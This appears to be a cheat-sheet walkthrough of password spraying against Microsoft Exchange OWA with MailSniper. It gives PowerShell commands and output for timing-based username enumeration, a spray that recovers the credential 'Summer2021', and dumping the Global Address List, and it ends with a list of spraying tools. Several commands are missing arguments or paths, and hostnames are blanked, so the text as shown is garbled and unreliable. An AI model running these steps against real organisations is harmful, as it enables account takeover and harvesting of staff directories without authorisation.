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Password Spraying

Common pattern:

  • MonthYear (September2021)
  • SeasonYear (Spring2021)
  • DayDate (Wednesday1)


Using ipmo to import the .ps1 script

PS C:\> ipmo C:\Tools\MailSniper\MailSniper.ps1

Enumerate the NetBIOS name with Invoke-DomainHarvestOWA

PS C:\> Invoke-DomainHarvestOWA -ExchHostname
[*] Harvesting domain name from the server at
The domain appears to be: CYBER or

Generate potential usernames using

[email protected]:~# /opt/ names.txt >> possible-usernames.txt
[email protected]:~# head -n 5 possible-usernames.txt

Enumerating usernames using Invoke-UsernameHarvestOWA

PS C:\> Invoke-UsernameHarvestOWA -ExchHostname -Domain CYBER -UserList .\possible-usernames.txt -OutFile valid.txt
[*] Now spraying the OWA portal at
Determining baseline response time...
Response Time (MS)       Domain\Username
770                      CYBER\nigojk
766                      CYBER\hnIYRl
763                      CYBER\DlQFbq
767                      CYBER\ghyWXj
771                      CYBER\uQbXAI

         Baseline Response: 767.4

Threshold: 460.44
Response Time (MS)       Domain\Username
764                      CYBER\THdtMw
776                      CYBER\rVNvmq
854                      CYBER\AvaPOc
767                      CYBER\ZQpHFz
764                      CYBER\WYTZHK
77                       CYBER\iyates
[*] Potentially Valid! User:CYBER\iyatesgs
[*] A total of 1 potentially valid usernames found.
Results have been written to valid.txt.

Password spraying using Invoke-PasswordSprayOWA

PS C:\> Invoke-PasswordSprayOWA -ExchHostname -UserList .\valid.txt -Password Summer2021
[*] Now spraying the OWA portal at
[*] SUCCESS! User:CYBER\iyates Password:Summer2021
[*] A total of 1 credentials were obtained.

Retrieving the Global Address List (GAL) using Get-GlobalAddressList

PS C:\> Get-GlobalAddressList -ExchHostname -UserName CYBER\iyates -Password Summer2021 -OutFile gal.txt
[*] First trying to log directly into OWA to enumerate the Global Address List using FindPeople...
[*] This method requires PowerShell Version 3.0
[*] Using
[*] Logging into OWA...
[*] OWA Login appears to be successful.
[*] Retrieving OWA Canary...
[*] Successfully retrieved the X-OWA-CANARY cookie: ahhlRb0kZUKEg8YEo5ZZtQDYwqU8EdkIl7OJ7_ugwGfk56YCYe0ilgE2GKVxCNJTMpqknR3QJ_M.
[*] Retrieving AddressListId from GetPeopleFilters URL.
[*] Global Address List Id of b4477ba8-52b0-48bf-915e-d179db98788b was found.
[*] Now utilizing FindPeople to retrieve Global Address List
[*] Now cleaning up the list...
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[*] A total of 5 email addresses were retrieved
[*] Email addresses have been written to gal.txt


  • MailSniper - Searching email in Microsoft Exchange, enumerating users and domains, gathering Global Address List (GAL) from OWA and EWS...
  • - Creating a user name list for brute force attacks.
  • SprayingToolkit - Password spraying attacks against Lync/S4B, OWA & O365